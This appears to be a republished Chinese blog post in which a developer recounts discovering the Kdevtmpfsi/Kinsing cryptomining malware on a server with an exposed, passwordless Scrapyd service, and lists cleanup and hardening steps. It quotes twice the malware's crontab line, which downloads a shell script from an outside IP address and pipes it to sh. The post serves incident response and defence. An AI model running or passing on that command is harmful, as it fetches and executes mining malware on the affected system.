kdevtmpfsi 病毒感染及处理办法 |
您所在的位置:网站首页 › agraytrprisk病毒 › kdevtmpfsi 病毒感染及处理办法 |
发现病毒
今天在家里,写完爬虫部署到远程服务器上后,正想运行时,发现 ScrapydWeb 上多了一条奇怪的记录,我从来没有写过这个爬虫呀: 仔细看这只“邪恶”的爬虫,发现有一条比较关键的信息,就是下面的 * * * * * wget -q -O - http://195.3.146.118/sc.sh | sh > /dev/null 2>&1 ,很明显,这是一条 crontab 语句。 以 195.3.146.118/sc.sh 为关键字搜索了一下,在这个帖子《Cannot stop Kinsing malware from creating cronjob》里发现有人在 3 个月前提了相关的问题,并解释说是因为 Scrapyd 被挖矿病毒 Kdevtmpfsi 感染了。 恰好我在前几天部署了 Scrapyd 应用,并暴露了相关端口到公网上。 为了验证这个猜想,我登陆了宝塔面板,查看服务器这段时间的负载情况,发现从10月14日的凌晨起,CPU 和 内存占用都开始暴增,符合挖矿的特征(使用 GPU/CPU 进行大量的 hash 计算,占用大量内存存储中间结果)。 摸清楚对手的底细后,就可以对症下药了。 解决病毒很容易地在网上找到 Kdevtmpfsi 挖矿病毒的解决办法,也发现了这个病毒的主要感染方式是 扫描所有端口,找到那些没有设置密码且暴露了端口的服务(已知的有 Scrapyd 、Redis 、Docker 等),并进行攻击。 这里我整理一下解决的步骤: 先去相应的云服务商那里修改安全组,暂时关闭所有相关服务的端口,防止病毒重新感染。依次杀掉 kinsing 和 kdevtmpfsi 对应的进程(kinsing 是 kdevtmpfsi 病毒的守护进程)。 ps -aux | grep kinsing ps -aux | grep kdevtmpfsi kill -9 病毒PID 删除 kdevtmfsi 病毒的脚本 rm -f /tmp/kdevtmfsi 检查 crontab ,如果发现有这条 * * * * * wget -q -O - http://195.3.146.118/sc.sh | sh > /dev/null 2>&1 ,就删掉。 crontab -l # 打印所有定时任务 crontab -e # 编辑定时任务 给那些没有设置密码且暴露了端口的服务,设置相应的密码,并重启。Scrapyd 服务设置密码的方法见我的其他文章。如果业务需要,就开放回相应的端口,恢复服务。 后记说实话,这个病毒还算是有良心的,并没有用什么高深的方式来藏匿自己,只是简单地通过我未加密的接口,占用我的服务器资源来挖矿赚钱 23333。
话说回来,这件事说大不大,说小不小,但也给了我几点感触。 计算能力=资源=钱,有利益的地方就有博弈,不要以为自己的破电脑/服务器没人惦记。同样地,数据=钱,爬虫与反爬虫的博弈也是永无止境的。谨慎对待开源框架。我自认为平时算是很小心了,但还是因为用了 Scrapyd 框架才导致服务器被感染,说明病毒开发者也肯定是仔细研究过这个框架了。巴菲特说过,不要投资你不了解的东西。其实无论干什么,道理都是相通的,知其然知其所以然是很重要的。回过头来,当不得不用开源框架的时候,也要做好安全措施,比如外面用 nginx 做代理再套个用户认证。 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |